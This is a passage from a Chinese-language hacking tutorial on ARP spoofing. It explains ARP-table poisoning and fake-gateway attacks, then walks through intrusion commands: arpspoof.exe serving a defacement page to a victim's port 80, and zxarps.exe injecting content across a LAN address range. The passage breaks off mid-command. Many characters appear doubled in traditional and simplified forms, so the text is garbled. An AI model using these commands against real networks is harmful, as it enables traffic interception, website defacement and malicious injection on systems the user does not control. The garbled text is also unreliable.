從影響網(wǎng)絡(luò)連接通暢的方式來(lái)看， 欺騙大概可以分為兩種。一種是對(duì)路由器ARP表的欺騙，這種方法可以破壞系統(tǒng)的ARP緩存表，從而組成內(nèi)外IP地址的混亂。另一種是對(duì)里面計(jì)算機(jī)的欺騙，讓內(nèi)網(wǎng)計(jì)算機(jī)系統(tǒng)的數(shù)據(jù)報(bào)通過(guò)假網(wǎng)關(guān)來(lái)發(fā)送。
第一種ARP 欺騙的原理是截獲網(wǎng)關(guān)數(shù)據(jù)。它通知一系列錯(cuò)誤的內(nèi)網(wǎng)地址，并按照一定的頻率不斷進(jìn)行地址的更換，使真實(shí)的地址信息無(wú)法通過(guò)更新保存在路由器中，結(jié)果路由器的所有數(shù)據(jù)只能發(fā)送給錯(cuò)誤的MAC地址，從而造成計(jì)算機(jī)訪問(wèn)精心構(gòu)建的網(wǎng)絡(luò)陷阱。
第二種ARP 欺騙的原理是偽造網(wǎng)關(guān)。它的原理是建立假網(wǎng)關(guān)，讓被它欺騙的計(jì)算機(jī)向假網(wǎng)關(guān)發(fā)數(shù)據(jù)，而不是通過(guò)正常的路由器途徑上網(wǎng)。在用戶的角度看來(lái)，就是上不了網(wǎng)了以及網(wǎng)絡(luò)掉線了，這樣會(huì)給用戶造成系統(tǒng)網(wǎng)關(guān)出錯(cuò)的假象。
如何利用“ARP 欺騙”入侵
黑客要進(jìn)行ARP 欺騙只需要一個(gè)前提條件，就是進(jìn)行入侵的計(jì)算機(jī)和被攻擊的計(jì)算機(jī)要在一個(gè)局域網(wǎng)的網(wǎng)段中。由于ARP 欺騙是通過(guò)數(shù)據(jù)包進(jìn)行欺騙的，所以在進(jìn)行操作以前要在本地計(jì)算機(jī)安裝一個(gè)驅(qū)動(dòng)程序WinPcap(圖1)。
打開(kāi)系統(tǒng)的命令提示符命令，并切換到利用工具所在的目錄，接著執(zhí)行利用工具命令：arpspoof.exe /n，然后會(huì)生成一個(gè)文本文件?，F(xiàn)在打開(kāi)這個(gè)文本文件后按照自己的需求進(jìn)行編輯，比如可以將“Hack by cooldiyer”改為“該系統(tǒng)已經(jīng)被我成功入侵!”(圖2)。
在命令提示符窗口輸入命令：ArpSpoof 192.168.1.6 192.168.1.3 80 2 1 /r job.txt，其中192.168.1.6表示入侵計(jì)算機(jī)的IP地址，192.168.1.3表示被侵計(jì)算機(jī)的IP地址，80表示用于欺騙的遠(yuǎn)程端口。
后面的相關(guān)參數(shù)設(shè)置，用戶應(yīng)該根據(jù)自己網(wǎng)絡(luò)網(wǎng)關(guān)的實(shí)際類型(例如有些網(wǎng)關(guān)地址為192.168.0.1有些則是192.168.110.1)情況進(jìn)行設(shè)置。當(dāng)準(zhǔn)確鍵入以上命令后回車(chē)，程序就可以進(jìn)行ARP 欺騙攻擊(圖3)。當(dāng)其他用戶訪問(wèn)這臺(tái)的80端口后，從看到的就是我們文本文件中的內(nèi)容。
剛才只是利用ARP 欺騙進(jìn)行了網(wǎng)站攻擊，現(xiàn)在利用另一款欺騙工具進(jìn)行傳播。在命令提示符窗口查看ARP 欺騙工具zxarps.exe的使用方法，然后鍵入命令：zxarps.exe -idx 0 -ip 192.168.1.7-192.168.1.255 -port 80 -insert "